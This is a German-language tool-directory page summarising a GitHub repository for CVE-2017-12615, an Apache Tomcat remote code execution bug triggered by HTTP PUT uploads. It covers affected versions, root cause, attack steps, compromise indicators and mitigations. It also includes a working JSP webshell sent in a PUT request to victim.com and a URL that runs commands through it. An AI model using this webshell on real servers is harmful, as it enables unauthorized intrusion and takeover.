Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/k3ystr0k3r/cve-2017-12615
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubk3ystr0k3r/cve-2017-12615

CVE-2017-12615

CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)

CVE-2017-12615 ist eine Remote-Code-Ausführung (RCE)-Sicherheitslücke, die Apache Tomcat 7.0.0 bis 7.0.79 betrifft, das auf Microsoft Windows läuft, wenn HTTP PUT-Anfragen aktiviert sind.

Die Sicherheitslücke besteht, weil Tomcat hochgeladene JSP-Dateien falsch behandelt, wenn der DefaultServlet mit dem readonly-Parameter auf false gesetzt ist. Unter diesen Bedingungen kann ein nicht authentifizierter Angreifer eine bösartige JSP-Datei direkt auf den Webserver hochladen und beliebigen Java-Code ausführen, indem er einfach die hochgeladene Datei anfordert.

Diese Sicherheitslücke wurde aufgrund der einfachen Nutzbarkeit gegen falsch konfigurierte Server zu einem der bekanntesten Tomcat-RCE-Probleme.

Betroffene Versionen

  • Apache Tomcat 7.0.0 - 7.0.79
  • Microsoft Windows-Installationen
  • HTTP-PUT-Methode aktiviert
  • readonly="false" im DefaultServlet konfiguriert

Schweregrad

MetrikWert
CVECVE-2017-12615
CVSS v38.1 (High)
AngriffsvektorNetzwerk
Erforderliche BerechtigungenKeine
BenutzerinteraktionKeine
AuswirkungRemotecodeausführung

Grundursache

Normalerweise verhindert Apache Tomcat, dass Benutzer ausführbare JSP-Dateien hochladen.

Wenn jedoch:

  • HTTP-PUT-Anfragen aktiviert sind
  • Der DefaultServlet beschreibbar ist (readonly=false)
  • Tomcat unter Windows läuft

kann ein Angreifer eine JSP-Datei direkt in das Webroot hochladen.

Nach dem Hochladen führt die Anforderung dieser JSP dazu, dass Tomcat sie kompiliert und ausführt, was die Ausführung beliebigen Java-Codes unter den Berechtigungen des Tomcat-Dienstes ermöglicht.

Angriffsablauf

root@kitploit:~
Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

Ausnutzungsprozess

Ein typischer Angriff umfasst folgende Schritte:

  1. Eine anfällige Tomcat-Instanz identifizieren.
  2. Überprüfen, ob HTTP-PUT-Anfragen erlaubt sind.
  3. Eine bösartige .jsp-Webshell hochladen.
  4. Die hochgeladene JSP anfordern.
  5. Beliebige Systembefehle ausführen.
  6. Eine Reverse-Shell einrichten oder zusätzliche Payloads bereitstellen.

Es ist keine Authentifizierung erforderlich, wenn der Server anfällig ist.

Beispielanfrage

Beispiel einer HTTP-PUT-Anfrage:

root@kitploit:~
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

Bei Erfolg antwortet der Server mit:

root@kitploit:~
HTTP/1.1 201 Created

Das Payload kann dann durch Aufrufen von ausgeführt werden:

root@kitploit:~
http://victim.com/shell.jsp?cmd=whoami

Beispielerkennung

Eine einfache Möglichkeit, anfällige Systeme zu identifizieren, besteht darin, zu versuchen, eine harmlose Test-JSP hochzuladen:

root@kitploit:~
PUT /test.jsp

Mögliche Antworten sind:

root@kitploit:~
201 Created

oder

root@kitploit:~
204 No Content

Wenn die hochgeladene Datei anschließend über HTTP abgerufen werden kann, ist der Server wahrscheinlich anfällig.

Auswirkungen

Bei erfolgreicher Ausnutzung kann ein Angreifer:

  • Beliebige Betriebssystembefehle ausführen
  • Dauerhafte Webshells hochladen
  • Reverse-Shells erlangen
  • Malware oder Ransomware bereitstellen
  • Sensible Informationen stehlen
  • Tiefer in interne Netzwerke vordringen
  • Den betroffenen Tomcat-Server vollständig kompromittieren

Indikatoren einer Kompromittierung

Sicherheitsteams sollten nach Folgendem suchen:

  • Unerwartete HTTP-PUT-Anfragen
  • Neu erstellte .jsp-Dateien
  • Unbekannte Webshells
  • Verdächtige von Tomcat erzeugte Unterprozesse
  • Reverse-Shell-Netzwerkverbindungen
  • Ungewöhnliche Aktivitäten im Tomcat-Webroot

Gegenmaßnahmen

Empfohlene Gegenmaßnahmen umfassen:

  • Apache Tomcat auf eine gepatchte Version aktualisieren.
  • HTTP-PUT deaktivieren, es sei denn, es ist unbedingt erforderlich.
  • Sicherstellen, dass der DefaultServlet readonly="true" verwendet.
  • Hochladeberechtigungen einschränken.
  • Auf unerwartete JSP-Dateierstellung überwachen.
  • Eine Web Application Firewall (WAF) bereitstellen.
  • Regelmäßig die Tomcat-Zugriffsprotokolle auf verdächtige PUT-Anfragen überprüfen.

Technische Zusammenfassung

EigenschaftWert
SicherheitslückeBeliebiger JSP-Upload
CWECWE-434 - Uneingeschränkter Upload von Dateien mit gefährlichem Typ
Authentifizierung erforderlichNein
AusnutzungskomplexitätNiedrig bei anfälligen Konfigurationen
ErgebnisRemotecodeausführung
PlattformWindows
DienstApache Tomcat

Referenzen

  • NIST National Vulnerability Database (NVD)
  • Apache Tomcat-Sicherheitshinweise
  • CVE-Eintrag: CVE-2017-12615

Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungszwecke, defensive Sicherheitsforschung und autorisierte Penetrationstests gedacht. Verwenden Sie diese Informationen nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen